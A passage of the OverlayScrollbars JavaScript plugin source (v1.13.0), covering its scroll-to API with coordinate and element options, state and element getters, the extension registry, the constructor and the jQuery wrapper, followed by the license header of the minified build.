* 200, '200px', '50%', '1vw', '1vh', '+=200', '/=1vw', '*=2px', '-=5vh', '+=33%', '+= 50% - 2px', '-= 1vw - 50%'
*
* 2. Can be a HTML or jQuery element:
* The final scroll offset is the offset (without margin) of the given HTML / jQuery element.
*
* 3. Can be a object with a HTML or jQuery element with additional settings:
* {
* el : [HTMLElement, jQuery element], MUST be specified, else this object isn't valid.
* scroll : [string, array, object], Default value is 'always'.
* block : [string, array, object], Default value is 'begin'.
* margin : [number, boolean, array, object] Default value is false.
* }
*
* Possible scroll settings are:
* 'always' Scrolls always.
* 'ifneeded' Scrolls only if the element isnt fully in view.
* 'never' Scrolls never.
*
* Possible block settings are:
* 'begin' Both axis shall be docked to the "begin" edge. - The element will be docked to the top and left edge of the viewport.
* 'end' Both axis shall be docked to the "end" edge. - The element will be docked to the bottom and right edge of the viewport. (If direction is RTL to the bottom and left edge.)
* 'center' Both axis shall be docked to "center". - The element will be centered in the viewport.
* 'nearest' The element will be docked to the nearest edge(s).
*
* Possible margin settings are: -- The actual margin of the element wont be affect, this option affects only the final scroll offset.
* [BOOLEAN] If true the css margin of the element will be used, if false no margin will be used.
* [NUMBER] The margin will be used for all edges.
*
* @param duration The duration of the scroll animation, OR a jQuery animation configuration object.
* @param easing The animation easing.
* @param complete The animation complete callback.
* @returns {{
* position: {x: number, y: number},
* ratio: {x: number, y: number},
* max: {x: number, y: number},
* handleOffset: {x: number, y: number},
* handleLength: {x: number, y: number},
* handleLengthRatio: {x: number, y: number}, t
* rackLength: {x: number, y: number},
* isRTL: boolean,
* isRTLNormalized: boolean
* }}
*/
_base.scroll = function (coordinates, duration, easing, complete) {
if (arguments.length === 0 || coordinates === undefined) {
var infoX = _scrollHorizontalInfo;
var infoY = _scrollVerticalInfo;
var normalizeInvert = _normalizeRTLCache && _isRTL && _rtlScrollBehavior.i;
var normalizeNegate = _normalizeRTLCache && _isRTL && _rtlScrollBehavior.n;
var scrollX = infoX._currentScroll;
var scrollXRatio = infoX._currentScrollRatio;
var maxScrollX = infoX._maxScroll;
scrollXRatio = normalizeInvert ? 1 - scrollXRatio : scrollXRatio;
scrollX = normalizeInvert ? maxScrollX - scrollX : scrollX;
scrollX *= normalizeNegate ? -1 : 1;
maxScrollX *= normalizeNegate ? -1 : 1;
return {
position: {
x: scrollX,
y: infoY._currentScroll
},
ratio: {
x: scrollXRatio,
y: infoY._currentScrollRatio
},
max: {
x: maxScrollX,
y: infoY._maxScroll
},
handleOffset: {
x: infoX._handleOffset,
y: infoY._handleOffset
},
handleLength: {
x: infoX._handleLength,
y: infoY._handleLength
},
handleLengthRatio: {
x: infoX._handleLengthRatio,
y: infoY._handleLengthRatio
},
trackLength: {
x: infoX._trackLength,
y: infoY._trackLength
},
snappedHandleOffset: {
x: infoX._snappedHandleOffset,
y: infoY._snappedHandleOffset
},
isRTL: _isRTL,
isRTLNormalized: _normalizeRTLCache
};
}
_base.update(_strSync);
var normalizeRTL = _normalizeRTLCache;
var coordinatesXAxisProps = [_strX, _strLeft, 'l'];
var coordinatesYAxisProps = [_strY, _strTop, 't'];
var coordinatesOperators = ['+=', '-=', '*=', '/='];
var durationIsObject = type(duration) == TYPES.o;
var completeCallback = durationIsObject ? duration.complete : complete;
var i;
var finalScroll = {};
var specialEasing = {};
var doScrollLeft;
var doScrollTop;
var animationOptions;
var strEnd = 'end';
var strBegin = 'begin';
var strCenter = 'center';
var strNearest = 'nearest';
var strAlways = 'always';
var strNever = 'never';
var strIfNeeded = 'ifneeded';
var strLength = LEXICON.l;
var settingsAxis;
var settingsScroll;
var settingsBlock;
var settingsMargin;
var finalElement;
var elementObjSettingsAxisValues = [_strX, _strY, 'xy', 'yx'];
var elementObjSettingsBlockValues = [strBegin, strEnd, strCenter, strNearest];
var elementObjSettingsScrollValues = [strAlways, strNever, strIfNeeded];
var coordinatesIsElementObj = coordinates[LEXICON.hOP]('el');
var possibleElement = coordinatesIsElementObj ? coordinates.el : coordinates;
var possibleElementIsJQuery = possibleElement instanceof FRAMEWORK || JQUERY ? possibleElement instanceof JQUERY : false;
var possibleElementIsHTMLElement = possibleElementIsJQuery ? false : isHTMLElement(possibleElement);
var updateScrollbarInfos = function () {
if (doScrollLeft)
refreshScrollbarHandleOffset(true);
if (doScrollTop)
refreshScrollbarHandleOffset(false);
};
var proxyCompleteCallback = type(completeCallback) != TYPES.f ? undefined : function () {
updateScrollbarInfos();
completeCallback();
};
function checkSettingsStringValue(currValue, allowedValues) {
for (i = 0; i < allowedValues[strLength]; i++) {
if (currValue === allowedValues[i])
return true;
}
return false;
}
function getRawScroll(isX, coordinates) {
var coordinateProps = isX ? coordinatesXAxisProps : coordinatesYAxisProps;
coordinates = type(coordinates) == TYPES.s || type(coordinates) == TYPES.n ? [coordinates, coordinates] : coordinates;
if (COMPATIBILITY.isA(coordinates))
return isX ? coordinates[0] : coordinates[1];
else if (type(coordinates) == TYPES.o) {
//decides RTL normalization "hack" with .n
//normalizeRTL = type(coordinates.n) == TYPES.b ? coordinates.n : normalizeRTL;
for (i = 0; i < coordinateProps[strLength]; i++)
if (coordinateProps[i] in coordinates)
return coordinates[coordinateProps[i]];
}
}
function getFinalScroll(isX, rawScroll) {
var isString = type(rawScroll) == TYPES.s;
var operator;
var amount;
var scrollInfo = isX ? _scrollHorizontalInfo : _scrollVerticalInfo;
var currScroll = scrollInfo._currentScroll;
var maxScroll = scrollInfo._maxScroll;
var mult = ' * ';
var finalValue;
var isRTLisX = _isRTL && isX;
var normalizeShortcuts = isRTLisX && _rtlScrollBehavior.n && !normalizeRTL;
var strReplace = 'replace';
var evalFunc = eval;
var possibleOperator;
if (isString) {
//check operator
if (rawScroll[strLength] > 2) {
possibleOperator = rawScroll.substr(0, 2);
if (inArray(possibleOperator, coordinatesOperators) > -1)
operator = possibleOperator;
}
//calculate units and shortcuts
rawScroll = operator ? rawScroll.substr(2) : rawScroll;
rawScroll = rawScroll
[strReplace](/min/g, 0) //'min' = 0%
[strReplace](/</g, 0) //'<' = 0%
[strReplace](/max/g, (normalizeShortcuts ? '-' : _strEmpty) + _strHundredPercent) //'max' = 100%
[strReplace](/>/g, (normalizeShortcuts ? '-' : _strEmpty) + _strHundredPercent) //'>' = 100%
[strReplace](/px/g, _strEmpty)
[strReplace](/%/g, mult + (maxScroll * (isRTLisX && _rtlScrollBehavior.n ? -1 : 1) / 100.0))
[strReplace](/vw/g, mult + _viewportSize.w)
[strReplace](/vh/g, mult + _viewportSize.h);
amount = parseToZeroOrNumber(isNaN(rawScroll) ? parseToZeroOrNumber(evalFunc(rawScroll), true).toFixed() : rawScroll);
}
else {
amount = rawScroll;
}
if (amount !== undefined && !isNaN(amount) && type(amount) == TYPES.n) {
var normalizeIsRTLisX = normalizeRTL && isRTLisX;
var operatorCurrScroll = currScroll * (normalizeIsRTLisX && _rtlScrollBehavior.n ? -1 : 1);
var invert = normalizeIsRTLisX && _rtlScrollBehavior.i;
var negate = normalizeIsRTLisX && _rtlScrollBehavior.n;
operatorCurrScroll = invert ? (maxScroll - operatorCurrScroll) : operatorCurrScroll;
switch (operator) {
case '+=':
finalValue = operatorCurrScroll + amount;
break;
case '-=':
finalValue = operatorCurrScroll - amount;
break;
case '*=':
finalValue = operatorCurrScroll * amount;
break;
case '/=':
finalValue = operatorCurrScroll / amount;
break;
default:
finalValue = amount;
break;
}
finalValue = invert ? maxScroll - finalValue : finalValue;
finalValue *= negate ? -1 : 1;
finalValue = isRTLisX && _rtlScrollBehavior.n ? MATH.min(0, MATH.max(maxScroll, finalValue)) : MATH.max(0, MATH.min(maxScroll, finalValue));
}
return finalValue === currScroll ? undefined : finalValue;
}
function getPerAxisValue(value, valueInternalType, defaultValue, allowedValues) {
var resultDefault = [defaultValue, defaultValue];
var valueType = type(value);
var valueArrLength;
var valueArrItem;
//value can be [ string, or array of two strings ]
if (valueType == valueInternalType) {
value = [value, value];
}
else if (valueType == TYPES.a) {
valueArrLength = value[strLength];
if (valueArrLength > 2 || valueArrLength < 1)
value = resultDefault;
else {
if (valueArrLength === 1)
value[1] = defaultValue;
for (i = 0; i < valueArrLength; i++) {
valueArrItem = value[i];
if (type(valueArrItem) != valueInternalType || !checkSettingsStringValue(valueArrItem, allowedValues)) {
value = resultDefault;
break;
}
}
}
}
else if (valueType == TYPES.o)
value = [value[_strX] || defaultValue, value[_strY] || defaultValue];
else
value = resultDefault;
return { x: value[0], y: value[1] };
}
function generateMargin(marginTopRightBottomLeftArray) {
var result = [];
var currValue;
var currValueType;
var valueDirections = [_strTop, _strRight, _strBottom, _strLeft];
for (i = 0; i < marginTopRightBottomLeftArray[strLength]; i++) {
if (i === valueDirections[strLength])
break;
currValue = marginTopRightBottomLeftArray[i];
currValueType = type(currValue);
if (currValueType == TYPES.b)
result.push(currValue ? parseToZeroOrNumber(finalElement.css(_strMarginMinus + valueDirections[i])) : 0);
else
result.push(currValueType == TYPES.n ? currValue : 0);
}
return result;
}
if (possibleElementIsJQuery || possibleElementIsHTMLElement) {
//get settings
var margin = coordinatesIsElementObj ? coordinates.margin : 0;
var axis = coordinatesIsElementObj ? coordinates.axis : 0;
var scroll = coordinatesIsElementObj ? coordinates.scroll : 0;
var block = coordinatesIsElementObj ? coordinates.block : 0;
var marginDefault = [0, 0, 0, 0];
var marginType = type(margin);
var marginLength;
finalElement = possibleElementIsJQuery ? possibleElement : FRAMEWORK(possibleElement);
if (finalElement[strLength] > 0) {
//margin can be [ boolean, number, array of 2, array of 4, object ]
if (marginType == TYPES.n || marginType == TYPES.b)
margin = generateMargin([margin, margin, margin, margin]);
else if (marginType == TYPES.a) {
marginLength = margin[strLength];
if (marginLength === 2)
margin = generateMargin([margin[0], margin[1], margin[0], margin[1]]);
else if (marginLength >= 4)
margin = generateMargin(margin);
else
margin = marginDefault;
}
else if (marginType == TYPES.o)
margin = generateMargin([margin[_strTop], margin[_strRight], margin[_strBottom], margin[_strLeft]]);
else
margin = marginDefault;
//block = type(block) === TYPES.b ? block ? [ strNearest, strBegin ] : [ strNearest, strEnd ] : block;
settingsAxis = checkSettingsStringValue(axis, elementObjSettingsAxisValues) ? axis : 'xy';
settingsScroll = getPerAxisValue(scroll, TYPES.s, strAlways, elementObjSettingsScrollValues);
settingsBlock = getPerAxisValue(block, TYPES.s, strBegin, elementObjSettingsBlockValues);
settingsMargin = margin;
var viewportScroll = {
l: _scrollHorizontalInfo._currentScroll,
t: _scrollVerticalInfo._currentScroll
};
// use padding element instead of viewport element because padding element has never padding, margin or position applied.
var viewportOffset = _paddingElement.offset();
//get coordinates
var elementOffset = finalElement.offset();
var doNotScroll = {
x: settingsScroll.x == strNever || settingsAxis == _strY,
y: settingsScroll.y == strNever || settingsAxis == _strX
};
elementOffset[_strTop] -= settingsMargin[0];
elementOffset[_strLeft] -= settingsMargin[3];
var elementScrollCoordinates = {
x: MATH.round(elementOffset[_strLeft] - viewportOffset[_strLeft] + viewportScroll.l),
y: MATH.round(elementOffset[_strTop] - viewportOffset[_strTop] + viewportScroll.t)
};
if (_isRTL) {
if (!_rtlScrollBehavior.n && !_rtlScrollBehavior.i)
elementScrollCoordinates.x = MATH.round(viewportOffset[_strLeft] - elementOffset[_strLeft] + viewportScroll.l);
if (_rtlScrollBehavior.n && normalizeRTL)
elementScrollCoordinates.x *= -1;
if (_rtlScrollBehavior.i && normalizeRTL)
elementScrollCoordinates.x = MATH.round(viewportOffset[_strLeft] - elementOffset[_strLeft] + (_scrollHorizontalInfo._maxScroll - viewportScroll.l));
}
//measuring is required
if (settingsBlock.x != strBegin || settingsBlock.y != strBegin || settingsScroll.x == strIfNeeded || settingsScroll.y == strIfNeeded || _isRTL) {
var measuringElm = finalElement[0];
var rawElementSize = _supportTransform ? measuringElm[LEXICON.bCR]() : {
width: measuringElm[LEXICON.oW],
height: measuringElm[LEXICON.oH]
};
var elementSize = {
w: rawElementSize[_strWidth] + settingsMargin[3] + settingsMargin[1],
h: rawElementSize[_strHeight] + settingsMargin[0] + settingsMargin[2]
};
var finalizeBlock = function (isX) {
var vars = getScrollbarVars(isX);
var wh = vars._w_h;
var lt = vars._left_top;
var xy = vars._x_y;
var blockIsEnd = settingsBlock[xy] == (isX ? _isRTL ? strBegin : strEnd : strEnd);
var blockIsCenter = settingsBlock[xy] == strCenter;
var blockIsNearest = settingsBlock[xy] == strNearest;
var scrollNever = settingsScroll[xy] == strNever;
var scrollIfNeeded = settingsScroll[xy] == strIfNeeded;
var vpSize = _viewportSize[wh];
var vpOffset = viewportOffset[lt];
var elSize = elementSize[wh];
var elOffset = elementOffset[lt];
var divide = blockIsCenter ? 2 : 1;
var elementCenterOffset = elOffset + (elSize / 2);
var viewportCenterOffset = vpOffset + (vpSize / 2);
var isInView =
elSize <= vpSize
&& elOffset >= vpOffset
&& elOffset + elSize <= vpOffset + vpSize;
if (scrollNever)
doNotScroll[xy] = true;
else if (!doNotScroll[xy]) {
if (blockIsNearest || scrollIfNeeded) {
doNotScroll[xy] = scrollIfNeeded ? isInView : false;
blockIsEnd = elSize < vpSize ? elementCenterOffset > viewportCenterOffset : elementCenterOffset < viewportCenterOffset;
}
elementScrollCoordinates[xy] -= blockIsEnd || blockIsCenter ? ((vpSize / divide) - (elSize / divide)) * (isX && _isRTL && normalizeRTL ? -1 : 1) : 0;
}
};
finalizeBlock(true);
finalizeBlock(false);
}
if (doNotScroll.y)
delete elementScrollCoordinates.y;
if (doNotScroll.x)
delete elementScrollCoordinates.x;
coordinates = elementScrollCoordinates;
}
}
finalScroll[_strScrollLeft] = getFinalScroll(true, getRawScroll(true, coordinates));
finalScroll[_strScrollTop] = getFinalScroll(false, getRawScroll(false, coordinates));
doScrollLeft = finalScroll[_strScrollLeft] !== undefined;
doScrollTop = finalScroll[_strScrollTop] !== undefined;
if ((doScrollLeft || doScrollTop) && (duration > 0 || durationIsObject)) {
if (durationIsObject) {
duration.complete = proxyCompleteCallback;
_viewportElement.animate(finalScroll, duration);
}
else {
animationOptions = {
duration: duration,
complete: proxyCompleteCallback
};
if (COMPATIBILITY.isA(easing) || FRAMEWORK.isPlainObject(easing)) {
specialEasing[_strScrollLeft] = easing[0] || easing.x;
specialEasing[_strScrollTop] = easing[1] || easing.y;
animationOptions.specialEasing = specialEasing;
}
else {
animationOptions.easing = easing;
}
_viewportElement.animate(finalScroll, animationOptions);
}
}
else {
if (doScrollLeft)
_viewportElement[_strScrollLeft](finalScroll[_strScrollLeft]);
if (doScrollTop)
_viewportElement[_strScrollTop](finalScroll[_strScrollTop]);
updateScrollbarInfos();
}
};
/**
* Stops all scroll animations.
* @returns {*} The current OverlayScrollbars instance (for chaining).
*/
_base.scrollStop = function (param1, param2, param3) {
_viewportElement.stop(param1, param2, param3);
return _base;
};
/**
* Returns all relevant elements.
* @param elementName The name of the element which shall be returned.
* @returns {{target: *, host: *, padding: *, viewport: *, content: *, scrollbarHorizontal: {scrollbar: *, track: *, handle: *}, scrollbarVertical: {scrollbar: *, track: *, handle: *}, scrollbarCorner: *} | *}
*/
_base.getElements = function (elementName) {
var obj = {
target: _targetElementNative,
host: _hostElementNative,
padding: _paddingElementNative,
viewport: _viewportElementNative,
content: _contentElementNative,
scrollbarHorizontal: {
scrollbar: _scrollbarHorizontalElement[0],
track: _scrollbarHorizontalTrackElement[0],
handle: _scrollbarHorizontalHandleElement[0]
},
scrollbarVertical: {
scrollbar: _scrollbarVerticalElement[0],
track: _scrollbarVerticalTrackElement[0],
handle: _scrollbarVerticalHandleElement[0]
},
scrollbarCorner: _scrollbarCornerElement[0]
};
return type(elementName) == TYPES.s ? getObjectPropVal(obj, elementName) : obj;
};
/**
* Returns a object which describes the current state of this instance.
* @param stateProperty A specific property from the state object which shall be returned.
* @returns {{widthAuto, heightAuto, overflowAmount, hideOverflow, hasOverflow, contentScrollSize, viewportSize, hostSize, autoUpdate} | *}
*/
_base.getState = function (stateProperty) {
function prepare(obj) {
if (!FRAMEWORK.isPlainObject(obj))
return obj;
var extended = extendDeep({}, obj);
var changePropertyName = function (from, to) {
if (extended[LEXICON.hOP](from)) {
extended[to] = extended[from];
delete extended[from];
}
};
changePropertyName('w', _strWidth); //change w to width
changePropertyName('h', _strHeight); //change h to height
delete extended.c; //delete c (the 'changed' prop)
return extended;
};
var obj = {
destroyed: !!prepare(_destroyed),
sleeping: !!prepare(_sleeping),
autoUpdate: prepare(!_mutationObserversConnected),
widthAuto: prepare(_widthAutoCache),
heightAuto: prepare(_heightAutoCache),
padding: prepare(_cssPaddingCache),
overflowAmount: prepare(_overflowAmountCache),
hideOverflow: prepare(_hideOverflowCache),
hasOverflow: prepare(_hasOverflowCache),
contentScrollSize: prepare(_contentScrollSizeCache),
viewportSize: prepare(_viewportSize),
hostSize: prepare(_hostSizeCache),
documentMixed: prepare(_documentMixed)
};
return type(stateProperty) == TYPES.s ? getObjectPropVal(obj, stateProperty) : obj;
};
/**
* Gets all or specific extension instance.
* @param extName The name of the extension from which the instance shall be got.
* @returns {{}} The instance of the extension with the given name or undefined if the instance couldn't be found.
*/
_base.ext = function (extName) {
var result;
var privateMethods = _extensionsPrivateMethods.split(' ');
var i = 0;
if (type(extName) == TYPES.s) {
if (_extensions[LEXICON.hOP](extName)) {
result = extendDeep({}, _extensions[extName]);
for (; i < privateMethods.length; i++)
delete result[privateMethods[i]];
}
}
else {
result = {};
for (i in _extensions)
result[i] = extendDeep({}, _base.ext(i));
}
return result;
};
/**
* Adds a extension to this instance.
* @param extName The name of the extension which shall be added.
* @param extensionOptions The extension options which shall be used.
* @returns {{}} The instance of the added extension or undefined if the extension couldn't be added properly.
*/
_base.addExt = function (extName, extensionOptions) {
var registeredExtensionObj = _plugin.extension(extName);
var instance;
var instanceAdded;
var instanceContract;
var contractResult;
var contractFulfilled = true;
if (registeredExtensionObj) {
if (!_extensions[LEXICON.hOP](extName)) {
instance = registeredExtensionObj.extensionFactory.call(_base,
extendDeep({}, registeredExtensionObj.defaultOptions),
FRAMEWORK,
COMPATIBILITY);
if (instance) {
instanceContract = instance.contract;
if (type(instanceContract) == TYPES.f) {
contractResult = instanceContract(window);
contractFulfilled = type(contractResult) == TYPES.b ? contractResult : contractFulfilled;
}
if (contractFulfilled) {
_extensions[extName] = instance;
instanceAdded = instance.added;
if (type(instanceAdded) == TYPES.f)
instanceAdded(extensionOptions);
return _base.ext(extName);
}
}
}
else
return _base.ext(extName);
}
else
console.warn("A extension with the name \"" + extName + "\" isn't registered.");
};
/**
* Removes a extension from this instance.
* @param extName The name of the extension which shall be removed.
* @returns {boolean} True if the extension was removed, false otherwise e.g. if the extension wasn't added before.
*/
_base.removeExt = function (extName) {
var instance = _extensions[extName];
var instanceRemoved;
if (instance) {
delete _extensions[extName];
instanceRemoved = instance.removed;
if (type(instanceRemoved) == TYPES.f)
instanceRemoved();
return true;
}
return false;
};
/**
* Constructs the plugin.
* @param targetElement The element to which the plugin shall be applied.
* @param options The initial options of the plugin.
* @param extensions The extension(s) which shall be added right after the initialization.
* @returns {boolean} True if the plugin was successfully initialized, false otherwise.
*/
function construct(targetElement, options, extensions) {
_defaultOptions = globals.defaultOptions;
_nativeScrollbarStyling = globals.nativeScrollbarStyling;
_nativeScrollbarSize = extendDeep({}, globals.nativeScrollbarSize);
_nativeScrollbarIsOverlaid = extendDeep({}, globals.nativeScrollbarIsOverlaid);
_overlayScrollbarDummySize = extendDeep({}, globals.overlayScrollbarDummySize);
_rtlScrollBehavior = extendDeep({}, globals.rtlScrollBehavior);
//parse & set options but don't update
setOptions(extendDeep({}, _defaultOptions, options));
_cssCalc = globals.cssCalc;
_msieVersion = globals.msie;
_autoUpdateRecommended = globals.autoUpdateRecommended;
_supportTransition = globals.supportTransition;
_supportTransform = globals.supportTransform;
_supportPassiveEvents = globals.supportPassiveEvents;
_supportResizeObserver = globals.supportResizeObserver;
_supportMutationObserver = globals.supportMutationObserver;
_restrictedMeasuring = globals.restrictedMeasuring;
_documentElement = FRAMEWORK(targetElement.ownerDocument);
_documentElementNative = _documentElement[0];
_windowElement = FRAMEWORK(_documentElementNative.defaultView || _documentElementNative.parentWindow);
_windowElementNative = _windowElement[0];
_htmlElement = findFirst(_documentElement, 'html');
_bodyElement = findFirst(_htmlElement, 'body');
_targetElement = FRAMEWORK(targetElement);
_targetElementNative = _targetElement[0];
_isTextarea = _targetElement.is('textarea');
_isBody = _targetElement.is('body');
_documentMixed = _documentElementNative !== document;
/* On a div Element The if checks only whether:
* - the targetElement has the class "os-host"
* - the targetElement has a a child with the class "os-padding"
*
* If that's the case, its assumed the DOM has already the following structure:
* (The ".os-host" element is the targetElement)
*
* <div class="os-host">
* <div class="os-resize-observer-host"></div>
* <div class="os-padding">
* <div class="os-viewport">
* <div class="os-content"></div>
* </div>
* </div>
* <div class="os-scrollbar os-scrollbar-horizontal ">
* <div class="os-scrollbar-track">
* <div class="os-scrollbar-handle"></div>
* </div>
* </div>
* <div class="os-scrollbar os-scrollbar-vertical">
* <div class="os-scrollbar-track">
* <div class="os-scrollbar-handle"></div>
* </div>
* </div>
* <div class="os-scrollbar-corner"></div>
* </div>
*
* =====================================================================================
*
* On a Textarea Element The if checks only whether:
* - the targetElement has the class "os-textarea"
* - the targetElement is inside a element with the class "os-content"
*
* If that's the case, its assumed the DOM has already the following structure:
* (The ".os-textarea" (textarea) element is the targetElement)
*
* <div class="os-host-textarea">
* <div class="os-resize-observer-host"></div>
* <div class="os-padding os-text-inherit">
* <div class="os-viewport os-text-inherit">
* <div class="os-content os-text-inherit">
* <div class="os-textarea-cover"></div>
* <textarea class="os-textarea os-text-inherit"></textarea>
* </div>
* </div>
* </div>
* <div class="os-scrollbar os-scrollbar-horizontal ">
* <div class="os-scrollbar-track">
* <div class="os-scrollbar-handle"></div>
* </div>
* </div>
* <div class="os-scrollbar os-scrollbar-vertical">
* <div class="os-scrollbar-track">
* <div class="os-scrollbar-handle"></div>
* </div>
* </div>
* <div class="os-scrollbar-corner"></div>
* </div>
*/
_domExists = _isTextarea
? _targetElement.hasClass(_classNameTextareaElement) && _targetElement.parent().hasClass(_classNameContentElement)
: _targetElement.hasClass(_classNameHostElement) && _targetElement.children(_strDot + _classNamePaddingElement)[LEXICON.l];
var initBodyScroll;
var bodyMouseTouchDownListener;
//check if the plugin hasn't to be initialized
if (_nativeScrollbarIsOverlaid.x && _nativeScrollbarIsOverlaid.y && !_currentPreparedOptions.nativeScrollbarsOverlaid.initialize) {
dispatchCallback('onInitializationWithdrawn');
if (_domExists) {
setupStructureDOM(true);
setupScrollbarsDOM(true);
setupScrollbarCornerDOM(true);
}
_destroyed = true;
_sleeping = true;
return _base;
}
if (_isBody) {
initBodyScroll = {};
initBodyScroll.l = MATH.max(_targetElement[_strScrollLeft](), _htmlElement[_strScrollLeft](), _windowElement[_strScrollLeft]());
initBodyScroll.t = MATH.max(_targetElement[_strScrollTop](), _htmlElement[_strScrollTop](), _windowElement[_strScrollTop]());
bodyMouseTouchDownListener = function () {
_viewportElement.removeAttr(LEXICON.ti);
setupResponsiveEventListener(_viewportElement, _strMouseTouchDownEvent, bodyMouseTouchDownListener, true, true);
}
}
//build OverlayScrollbars DOM
setupStructureDOM();
setupScrollbarsDOM();
setupScrollbarCornerDOM();
//create OverlayScrollbars events
setupStructureEvents();
setupScrollbarEvents(true);
setupScrollbarEvents(false);
setupScrollbarCornerEvents();
//create mutation observers
createMutationObservers();
//build resize observer for the host element
setupResizeObserver(_sizeObserverElement, hostOnResized);
if (_isBody) {
//apply the body scroll to handle it right in the update method
_viewportElement[_strScrollLeft](initBodyScroll.l)[_strScrollTop](initBodyScroll.t);
//set the focus on the viewport element so you dont have to click on the page to use keyboard keys (up / down / space) for scrolling
if (document.activeElement == targetElement && _viewportElementNative.focus) {
//set a tabindex to make the viewportElement focusable
_viewportElement.attr(LEXICON.ti, '-1');
_viewportElementNative.focus();
/* the tabindex has to be removed due to;
* If you set the tabindex attribute on an <div>, then its child content cannot be scrolled with the arrow keys unless you set tabindex on the content, too
* https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/tabindex
*/
setupResponsiveEventListener(_viewportElement, _strMouseTouchDownEvent, bodyMouseTouchDownListener, false, true);
}
}
//update for the first time & initialize cache
_base.update(_strAuto);
//the plugin is initialized now!
_initialized = true;
dispatchCallback('onInitialized');
//call all callbacks which would fire before the initialized was complete
each(_callbacksInitQeueue, function (index, value) { dispatchCallback(value.n, value.a); });
_callbacksInitQeueue = [];
//add extensions
if (type(extensions) == TYPES.s)
extensions = [extensions];
if (COMPATIBILITY.isA(extensions))
each(extensions, function (index, value) { _base.addExt(value); });
else if (FRAMEWORK.isPlainObject(extensions))
each(extensions, function (key, value) { _base.addExt(key, value); });
//add the transition class for transitions AFTER the first update & AFTER the applied extensions (for preventing unwanted transitions)
setTimeout(function () {
if (_supportTransition && !_destroyed)
addClass(_hostElement, _classNameHostTransition);
}, 333);
return _base;
}
if (_plugin.valid(construct(pluginTargetElement, options, extensions))) {
INSTANCES(pluginTargetElement, _base);
}
return _base;
}
/**
* Initializes a new OverlayScrollbarsInstance object or changes options if already initialized or returns the current instance.
* @param pluginTargetElements The elements to which the Plugin shall be initialized.
* @param options The custom options with which the plugin shall be initialized.
* @param extensions The extension(s) which shall be added right after initialization.
* @returns {*}
*/
_plugin = window[PLUGINNAME] = function (pluginTargetElements, options, extensions) {
if (arguments[LEXICON.l] === 0)
return this;
var arr = [];
var optsIsPlainObj = FRAMEWORK.isPlainObject(options);
var inst;
var result;
//pluginTargetElements is null or undefined
if (!pluginTargetElements)
return optsIsPlainObj || !options ? result : arr;
/*
pluginTargetElements will be converted to:
1. A jQueryElement Array
2. A HTMLElement Array
3. A Array with a single HTML Element
so pluginTargetElements is always a array.
*/
pluginTargetElements = pluginTargetElements[LEXICON.l] != undefined ? pluginTargetElements : [pluginTargetElements[0] || pluginTargetElements];
initOverlayScrollbarsStatics();
if (pluginTargetElements[LEXICON.l] > 0) {
if (optsIsPlainObj) {
FRAMEWORK.each(pluginTargetElements, function (i, v) {
inst = v;
if (inst !== undefined)
arr.push(OverlayScrollbarsInstance(inst, options, extensions, _pluginsGlobals, _pluginsAutoUpdateLoop));
});
}
else {
FRAMEWORK.each(pluginTargetElements, function (i, v) {
inst = INSTANCES(v);
if ((options === '!' && _plugin.valid(inst)) || (COMPATIBILITY.type(options) == TYPES.f && options(v, inst)))
arr.push(inst);
else if (options === undefined)
arr.push(inst);
});
}
result = arr[LEXICON.l] === 1 ? arr[0] : arr;
}
return result;
};
/**
* Returns a object which contains global information about the plugin and each instance of it.
* The returned object is just a copy, that means that changes to the returned object won't have any effect to the original object.
*/
_plugin.globals = function () {
initOverlayScrollbarsStatics();
var globals = FRAMEWORK.extend(true, {}, _pluginsGlobals);
delete globals['msie'];
return globals;
};
/**
* Gets or Sets the default options for each new plugin initialization.
* @param newDefaultOptions The object with which the default options shall be extended.
*/
_plugin.defaultOptions = function (newDefaultOptions) {
initOverlayScrollbarsStatics();
var currDefaultOptions = _pluginsGlobals.defaultOptions;
if (newDefaultOptions === undefined)
return FRAMEWORK.extend(true, {}, currDefaultOptions);
//set the new default options
_pluginsGlobals.defaultOptions = FRAMEWORK.extend(true, {}, currDefaultOptions, _pluginsOptions._validate(newDefaultOptions, _pluginsOptions._template, true, currDefaultOptions)._default);
};
/**
* Checks whether the passed instance is a non-destroyed OverlayScrollbars instance.
* @param osInstance The potential OverlayScrollbars instance which shall be checked.
* @returns {boolean} True if the passed value is a non-destroyed OverlayScrollbars instance, false otherwise.
*/
_plugin.valid = function (osInstance) {
return osInstance instanceof _plugin && !osInstance.getState().destroyed;
};
/**
* Registers, Unregisters or returns a extension.
* Register: Pass the name and the extension. (defaultOptions is optional)
* Unregister: Pass the name and anything except a function as extension parameter.
* Get extension: Pass the name of the extension which shall be got.
* Get all extensions: Pass no arguments.
* @param extensionName The name of the extension which shall be registered, unregistered or returned.
* @param extension A function which generates the instance of the extension or anything other to remove a already registered extension.
* @param defaultOptions The default options which shall be used for the registered extension.
*/
_plugin.extension = function (extensionName, extension, defaultOptions) {
var extNameTypeString = COMPATIBILITY.type(extensionName) == TYPES.s;
var argLen = arguments[LEXICON.l];
var i = 0;
if (argLen < 1 || !extNameTypeString) {
//return a copy of all extension objects
return FRAMEWORK.extend(true, { length: _pluginsExtensions[LEXICON.l] }, _pluginsExtensions);
}
else if (extNameTypeString) {
if (COMPATIBILITY.type(extension) == TYPES.f) {
//register extension
_pluginsExtensions.push({
name: extensionName,
extensionFactory: extension,
defaultOptions: defaultOptions
});
}
else {
for (; i < _pluginsExtensions[LEXICON.l]; i++) {
if (_pluginsExtensions[i].name === extensionName) {
if (argLen > 1)
_pluginsExtensions.splice(i, 1); //remove extension
else
return FRAMEWORK.extend(true, {}, _pluginsExtensions[i]); //return extension with the given name
}
}
}
}
};
return _plugin;
})();
if (JQUERY && JQUERY.fn) {
/**
* The jQuery initialization interface.
* @param options The initial options for the construction of the plugin. To initialize the plugin, this option has to be a object! If it isn't a object, the instance(s) are returned and the plugin wont be initialized.
* @param extensions The extension(s) which shall be added right after initialization.
* @returns {*} After initialization it returns the jQuery element array, else it returns the instance(s) of the elements which are selected.
*/
JQUERY.fn.overlayScrollbars = function (options, extensions) {
var _elements = this;
if (JQUERY.isPlainObject(options)) {
JQUERY.each(_elements, function () { PLUGIN(this, options, extensions); });
return _elements;
}
else
return PLUGIN(_elements, options);
};
}
return PLUGIN;
}
)); |
2740908911/Pilot-Web | 53,768 | pilot-client/plugins/overlayScrollbars/js/OverlayScrollbars.min.js | /*!
* OverlayScrollbars
* https://github.com/KingSora/OverlayScrollbars
*
* Version: 1.13.0
*
* Copyright KingSora | Rene Haas.
* https://github.com/KingSora
*
* Released under the MIT license.
* Date: 02.08.2020
*/
